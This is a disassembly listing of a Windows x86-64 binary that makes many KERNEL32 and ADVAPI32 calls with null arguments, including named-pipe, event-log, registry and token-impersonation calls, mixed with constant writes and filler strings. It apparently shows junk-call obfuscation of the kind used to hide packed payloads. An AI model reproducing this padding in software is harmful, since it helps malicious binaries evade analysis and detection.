call rbp
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.JewellRohan
call r13
mov r9, qword [rsp + 0x78]
lea rcx, str.AylinGreenfelder
call r9
mov rax, qword [0x004ca390]
mov edx, dword [rax]
mov rax, qword [0x004ca2c0]
mov dword [rax], edx
mov rax, qword [0x004ca660]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3c0]
mov ecx, 0x2dcde900
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [str.7U5]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cae40]
mov r11, qword [rsp + 0x80]
xor ecx, ecx
mov dword [rax], 0xc193b09c
mov rax, qword [0x004ca320]
mov edx, dword [rax]
mov rax, qword [0x004ca430]
mov dword [rax], edx
call r11
mov ecx, 0x91026f9f
call fcn.00414620
mov rdx, qword [0x004cac00]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rsp + 0x20], 0
call r15
xor ecx, ecx
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cad30]
mov rcx, qword [0x004ca710]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
lea rdx, str.DrJackieNicolasIII
mov r14, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rcx, str.DrTravonSchmidt
call r14
mov ecx, 0xea8cb3e8
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca730]
mov dword [rdx], eax
xor edx, edx
call rsi
xor edx, edx
lea rcx, str.Quibusdam_architecto_ad_harum_mollitia_tempora_ut_enim_explicabo
call r13
mov edx, dword [r12]
mov rax, qword [0x004caa10]
mov dword [rax], edx
mov rax, qword [0x004ca420]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca1e0]
mov dword [rcx], eax
mov ecx, 0xef4242c9
call fcn.00414620
mov rdx, qword [0x004cae30]
mov ecx, 0xb98a6a1f
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cac80]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004caa70]
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov dword [rax], 0x6c3f590f
call r13
mov r8, qword [0x004ca9a0]
xor edx, edx
xor ecx, ecx
mov eax, dword [r8]
mov dword [r12], eax
call rbx
lea rdx, str.DrRetaBalistreriDVM
lea rcx, str.RodolfoShanahan
call r14
mov rax, qword [0x004cabc0]
mov dword [rax], 0x86118217
mov rax, qword [0x004cad70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4f0]
mov r12, qword [0x004cad10]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r12]
mov rax, qword [0x004cac10]
mov dword [rax], edx
xor edx, edx
call rbp
mov r8, qword [0x004ca9a0]
mov ecx, dword [r8]
call fcn.00414620
mov rcx, qword [0x004ca570]
mov dword [rcx], eax
mov ecx, 0x65a40013
call fcn.00414620
mov rdx, qword [0x004ca4e0]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x60]
xor ecx, ecx
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call rdi
xor ecx, ecx
call r13
lea r8, str.Velit_delectus_quidem_corrupti_voluptatem_explicabo_nihil_quae_fuga_ut_quia_quo
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca7d0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004cad60]
mov dword [rdi], eax
mov rax, qword [0x004ca420]
mov dword [rax], 0xadeea3bd
mov rax, qword [0x004ca730]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca250]
mov rdi, qword [0x004ca6e0]
mov dword [rdx], eax
mov edx, dword [rdi]
mov rax, qword [0x004ca340]
mov dword [rax], edx
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004ca670]
mov dword [rax], edx
mov rax, qword [0x004ca7f0]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rdi], eax
mov rax, qword [0x004cac20]
xor ecx, ecx
mov dword [rax], 0x624fbce2
mov dword [rsp + 0x20], 0
call r15
mov ecx, 0x28785e1
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [r12], eax
xor ecx, ecx
call rsi
mov rax, qword [0x004ca6c0]
xor ecx, ecx
mov dword [rax], 0xbf08439e
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, str.Maxime_quia_recusandae_voluptas_nesciunt_dolorum_deserunt_assumenda_saepe
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0x28178584
call fcn.00414620
mov rdx, qword [0x004cae70]
mov dword [rdx], eax
jmp 0x40a7ca
test eax, eax
je 0x40832b
mov rsi, qword [0x004cad20]
mov rax, qword [0x004ca330]
mov ecx, dword [rsi]
mov edx, dword [rax]
mov rax, qword [0x004ca210]
mov dword [rax], edx
call fcn.00414620
mov r13, qword [0x004ca7f0]
mov rbx, qword [0x004cad90]
xor ecx, ecx
mov dword [rsi], eax
mov eax, dword [r13]
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
mov qword [rsp + 0x58], rax
call rax
lea r8, str.Placeat_consectetur_soluta_quia_voluptas_modi_eaque_quam
xor edx, edx
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_OpenEventA]
call rbp
mov rax, qword [0x004caac0]
mov rbx, qword [0x004cac30]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac90]
mov dword [rax], edx
mov rax, qword [0x004ca200]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x50], rax
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004cabc0]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004caa50]
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rbx], eax
call r14
mov r15, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.Neque_ab_excepturi_aut_aut_soluta_iure_possimus
call r15
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cabb0]
mov rdi, qword [0x004ca440]
mov ecx, 0x576f2337
mov edx, dword [rax]
mov rax, qword [0x004ca520]
mov dword [rax], edx
mov rax, qword [0x004cac50]
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00414620
mov rdx, qword [0x004cac70]
mov ecx, 0xd0909a9e
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004caef0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov rdi, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.AlishaHintzPhD
call rdi
mov rax, qword [str.eNl.h_Q]
lea rcx, str.Voluptas_qui_sed_sed_quasi_laborum_ut_dicta_voluptatem
mov dword [rax], 0x3bdd4277
mov rax, qword [0x004cad70]
mov dword [rax], 0x9097906b
mov rax, qword [0x004caf70]
mov dword [rax], 0x3638ecfc
call rdi
mov rax, qword [0x004cac60]
xor edx, edx
xor ecx, ecx
mov rdi, qword [0x004ca580]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cabf0]
mov r12, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca640]
mov dword [rax], edx
call r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rdi, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rdi
mov rax, qword [0x004ca360]
mov rcx, qword [0x004caf80]
xor edx, edx
mov dword [rax], 0x2f0bf62d
mov rax, qword [0x004ca370]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov edx, dword [r13]
mov rax, qword [0x004ca630]
mov ecx, 0x145cc6ba
mov dword [rax], edx
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca4a0]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004ca7c0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x94c1c5ae
call r14
lea rcx, str.Doloribus_iusto_sint
call r15
mov rax, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsi], 0x446208b9
mov qword [rsp + 0x70], rax
call rax
xor ecx, ecx
call r12
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cadc0]
mov ecx, 0x29262343
mov dword [rax], 0x719dd1d9
call fcn.00414620
mov rdx, qword [0x004caf60]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov r10, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x80], r10
call r10
mov rax, qword [0x004cac30]
xor r8d, r8d
xor edx, edx
mov rsi, qword [0x004caee0]
xor ecx, ecx
mov dword [rax], 0x81f9ccd0
mov rax, qword [0x004ca9e0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rsi, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
call rsi
lea rcx, str.MaryamKuvalisJr
call r15
mov rax, qword [0x004caab0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca620]
lea r8, str.DedrickToyDVM
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
mov rax, qword [0x004caa50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab20]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov rax, qword [0x004ca1b0]
mov ecx, 0x903a2e6d
mov dword [rax], 0x9f55b5d4
call fcn.00414620
mov rdx, qword [0x004cad80]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r13
lea r8, str.BrennonOndricka
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004caa30]
mov rcx, qword [0x004cae80]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r12
mov rax, qword [0x004ca760]
mov edx, dword [rax]
mov rax, qword [0x004caad0]
mov dword [rax], edx
mov rax, qword [0x004ca740]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa90]
mov r12, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov ecx, 0xdb2bce26
call fcn.00414620
mov r11, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov r13, qword [0x004ca750]
xor ecx, ecx
mov qword [rsp + 0x78], r11
mov dword [r13], eax
call r11
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov ecx, 0x7394e92b
call fcn.00414620
mov rdx, qword [0x004ca310]
mov dword [rdx], eax
mov rax, qword [0x004ca500]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac60]
xor r9d, r9d
xor r8d, r8d
mov r15, qword [0x004ca250]
mov rcx, qword [0x004caac0]
mov dword [rdx], eax
mov rax, qword [0x004caa60]
mov dword [r15], 0xce5af579
mov edx, dword [rax]
mov rax, qword [0x004caca0]
mov dword [rax], edx
mov rax, qword [0x004ca7d0]
xor edx, edx
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rdi
xor ecx, ecx
mov dword [r13], 0xf9ce0b9d
mov rax, qword [rsp + 0x58]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
call rdi
mov r13, qword [0x004caed0]
mov rax, qword [0x004cab10]
xor ecx, ecx
mov r10, qword [rsp + 0x80]
mov edx, dword [r13]
mov dword [rax], edx
call r10
mov rax, qword [0x004cad90]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [r15], eax
call r14
xor ecx, ecx
call r12
mov rax, qword [0x004ca1c0]
mov rdx, qword [0x004ca330]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cae10]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca4d0]
mov dword [rdx], eax
mov rax, qword [0x004cad50]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3f0]
mov dword [rdx], eax
mov rax, qword [0x004caee0]
mov edx, dword [rax]
mov rax, qword [0x004caaf0]
mov dword [rax], edx
mov rax, qword [0x004ca380]
mov ecx, dword [rax]
call fcn.00414620
mov rcx, qword [0x004ca580]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
lea r8, str.IanSchadenDVM
call rbp
mov rax, qword [0x004cab50]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x4e51998f
call rsi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov rax, qword [0x004caa70]
mov ecx, 0x7d0086bf
mov edx, dword [rax]
mov rax, qword [0x004cada0]
mov dword [rax], edx
mov rax, qword [0x004caae0]
mov rdx, qword [0x004caab0]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00414620
mov rcx, qword [0x004ca440]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov r15, qword [0x004ca6c0]
xor r8d, r8d
xor ecx, ecx
mov rax, qword [0x004ca450]
mov edx, dword [r15]
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [0x004cac00]
mov rbp, qword [0x004ca6e0]
mov ecx, dword [rax]
mov dword [rbp], 0x5ac7cadd
call fcn.00414620
mov rdx, qword [0x004caf80]
xor ecx, ecx
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rdx], eax
call r14
mov rax, qword [0x004ca680]
xor edx, edx
lea rcx, str.Molestias_quia_odio_et_cupiditate_omnis_facere_et_soluta_eveniet_necessitatibus_blanditiis_nobis_totam
mov dword [rax], 0xd07f981
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
xor ecx, ecx
call rbx
mov ecx, 0x2552094a
call fcn.00414620
mov dword [r15], eax
mov rax, qword [0x004ca7b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca2a0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca660]
xor edx, edx
mov dword [rax], 0x1668f640
mov rax, qword [rsp + 0x68]
call rax
mov ecx, 0xd094d4e2
call fcn.00414620
mov rdx, qword [0x004ca770]
mov ecx, 0xd54e1ee
mov dword [rdx], eax
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004cabc0]
mov dword [rcx], eax
mov rax, qword [0x004ca5e0]
xor ecx, ecx
mov dword [rax], 0xec549604
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rdi
mov edx, dword [rbp]
mov rax, qword [0x004cad10]
mov dword [rax], edx
mov rax, qword [0x004ca290]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca260]
mov ecx, 0x370b7555
mov dword [rdx], eax
call fcn.00414620
mov rdi, qword [0x004ca380]
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov dword [rdi], eax
call rsi
mov ecx, 0xf41750ad
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca670]
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x70]
call rax
mov ecx, dword [r13]
call fcn.00414620
mov rdx, qword [0x004ca700]
lea rcx, str.LilyanHansen
mov dword [rdx], eax
lea rdx, str.Odit_ducimus_rerum_occaecati_quia
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov r11, qword [rsp + 0x78]
xor ecx, ecx
call r11
mov rax, qword [0x004caac0]
mov dword [rax], 0x84871ffa
mov rax, qword [0x004cad80]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf40]
xor ecx, ecx
mov dword [r13], 0x24270d52
mov dword [rdx], eax
mov rax, qword [0x004ca4f0]
mov dword [rax], 0x86d81497
call r12
mov rax, qword [0x004ca610]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf3b73437
call rsi
mov rax, qword [0x004ca2c0]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004ca440]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
call rbx
xor ecx, ecx
call r14
mov rax, qword [0x004ca6a0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cac80]
mov dword [rax], 0x14293468
mov rax, qword [0x004cae80]
mov dword [rax], 0x4b26fda9
lea rdx, [rsp + 0xf8]
xor eax, eax
mov ecx, 0x1a
mov rdi, rdx
rep stosd dword [rdi], eax
mov rax, qword [0x004cacb0]
cmp dword [rax], 0
je 0x408bf4
mov rax, qword [0x004cae70]
mov dword [rax], 0x297deea
mov rax, qword [0x004caf70]
mov ecx, dword [rax]
call fcn.00414620
mov rbx, qword [0x004cabb0]
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004ca3e0]
mov rsi, qword [0x004caca0]
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_SetCommMask]
mov dword [rax], 0xb61fbd67
mov rax, qword [0x004ca480]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [0x004ca4a0]
mov edx, dword [rax]
mov rax, qword [0x004caa10]
mov dword [rax], edx
xor edx, edx
call r15
mov rax, qword [str.Z2iy]
xor edx, edx
xor ecx, ecx
mov r13, qword [0x004cae80]
mov rdi, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
mov dword [rax], 0xc16738f
mov rax, qword [0x004ca230]
mov eax, dword [rax]
mov dword [r13], eax
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rsi
mov rax, qword [0x004caa90]
xor ecx, ecx
mov dword [rax], 0x4600f1a5
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], rax
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004caf50]
xor r8d, r8d
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cac30]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca530]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa60]
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca410]
mov edx, dword [rax]
mov rax, qword [0x004ca250]
mov dword [rax], edx
call rbx
mov rax, qword [0x004cad70]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca1d0]
mov dword [rax], edx
mov rax, qword [0x004cae90]
mov edx, dword [rax]
mov rax, qword [0x004caad0]
mov dword [rax], edx
xor edx, edx
call rdi
mov rax, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cac80]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xc96da92f
mov rax, qword [0x004cad50]
mov dword [rax], 0x51d9bb1a
call rdi
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.VitaBeer
lea rcx, str.Ducimus_numquam_voluptatem_omnis_error_quia_enim
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004ca740]
mov ecx, dword [rax]
call fcn.00414620
mov r12, qword [0x004cadf0]
xor ecx, ecx
mov dword [r12], eax
call rsi
mov rax, qword [0x004ca4e0]
mov ecx, dword [rax]
call fcn.00414620
mov r14, qword [0x004ca7e0]
xor ecx, ecx
mov rdx, qword [0x004cac60]
mov dword [r13], 0x44407e67
mov dword [rdx], eax
mov edx, dword [r14]
mov rax, qword [0x004caf30]
mov dword [rax], edx
xor edx, edx
call r15
mov rax, qword [0x004ca350]
xor r9d, r9d
xor r8d, r8d
mov r10, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov qword [rsp + 0x90], r10
mov dword [r12], eax
call r10
mov r11, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov qword [rsp + 0x88], r11
call r11
mov rax, qword [0x004caea0]
xor ecx, ecx
mov dword [rax], 0x3bb0cb33
call rsi
mov rax, qword [0x004cabf0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x1598d72c
call r15
mov rax, qword [0x004ca430]
xor r8d, r8d
xor r9d, r9d
xor ecx, ecx
xor edx, edx
mov dword [rax], 0x479c3914
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov rax, qword [0x004caa90]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x781182f0
call r15
mov rax, qword [0x004ca6a0]
mov rdx, qword [0x004caab0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cab70]
mov dword [rax], 0x53cc14e4
mov rax, qword [0x004ca300]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca270]
mov r12, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca310]
mov eax, dword [rax]
mov dword [r14], eax
call r12
mov rax, qword [0x004ca570]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab60]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor edx, edx
xor ecx, ecx
call r15
mov rax, qword [0x004cab40]
mov rcx, qword [0x004cad80]
mov rdx, qword [0x004caaf0]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [str.7U5]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca3a0]
mov dword [rax], 0x59f562ca
mov rax, qword [0x004ca9e0]
mov dword [rax], 0x48e6eb6c
call r12
mov rax, qword [str.Z2iy]
mov r13, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rax], 0x3093511e
mov rax, qword [0x004cae70]
mov edx, dword [rax]
mov rax, qword [0x004ca3c0]
mov dword [rax], edx
mov rax, qword [0x004ca740]
mov dword [rax], 0xf94cd4cd
call r13
mov rax, qword [0x004ca380]
lea rcx, str.Tempore_deserunt_tenetur_omnis_voluptatem_eos_quis
mov edx, dword [rax]
mov rax, qword [0x004ca240]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x80], rax
call rax
mov ecx, 0x973ccd62
call fcn.00414620
mov rcx, qword [0x004ca330]
mov dword [rcx], eax
xor ecx, ecx
call rsi
mov rax, qword [0x004cadd0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca6b0]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
mov r14, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call r14
xor ecx, ecx
call rbx
mov ecx, 0x1f77d0e4
call fcn.00414620
mov rdx, qword [0x004caaf0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov r9, qword [0x004ca5b0]
mov rax, qword [0x004ca730]
xor ecx, ecx
mov edx, dword [r9]
mov dword [rax], edx
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
lea rdx, str.Itaque_repellat_ut_ex_est_unde_et_autem
lea rcx, str.DrTyreeWintheiserDVM
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004ca720]
mov rcx, qword [0x004ca430]
mov dword [rax], 0x8ef687b7
mov rax, qword [0x004caa40]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r14
mov rax, qword [0x004cad80]
mov rdx, qword [0x004ca5a0]
xor ecx, ecx
mov dword [rax], 0xd66a183
mov rax, qword [0x004ca520]
mov dword [rax], 0xf88205b9
mov rax, qword [0x004ca780]
mov eax, dword [rax]
mov dword [rdx], eax
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
call rsi
xor ecx, ecx
call r13
xor edx, edx
xor ecx, ecx
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cab00]
lea rcx, str.Rerum_iusto_sapiente_vero
mov dword [rax], 0x16f523c
mov rax, qword [rsp + 0x80]
call rax
xor edx, edx
lea rcx, str.Explicabo_vel_maiores_ex_quia_et_neque_delectus
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004cae00]
mov ecx, 0x2defc84c
mov dword [rax], 0xa8d8648d
call fcn.00414620
mov rcx, qword [0x004ca5a0]
mov dword [rcx], eax
mov rax, qword [0x004ca1e0]
mov ecx, 0x7fa4289d
mov edx, dword [rax]
mov rax, qword [0x004caee0]
mov dword [rax], edx
call fcn.00414620
mov rdx, qword [0x004cad10]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
mov rax, qword [0x004cac40]
mov edx, dword [rax]
mov rax, qword [0x004caba0]
mov dword [rax], edx
mov rax, qword [0x004caab0]
mov ecx, dword [rax]
call fcn.00414620
mov r9, qword [0x004ca5b0]
mov dword [r9], eax
mov rax, qword [0x004cac80]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3e0]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [0x004cadc0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caa50]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbp
xor ecx, ecx
call rbx
mov rax, qword [0x004ca460]
mov rcx, qword [0x004ca330]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r14
mov rax, qword [0x004ca630]
mov dword [rax], 0x2e59bc1f
mov rax, qword [0x004ca620]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca260]
mov ecx, 0x50c5f884
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cabe0]
mov ecx, 0xefa48b93
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca9e0]
mov r11, qword [rsp + 0x88]
xor ecx, ecx
mov dword [rdx], eax
call r11
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rsi
mov rax, qword [0x004cae70]
mov rsi, qword [0x004ca9e0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
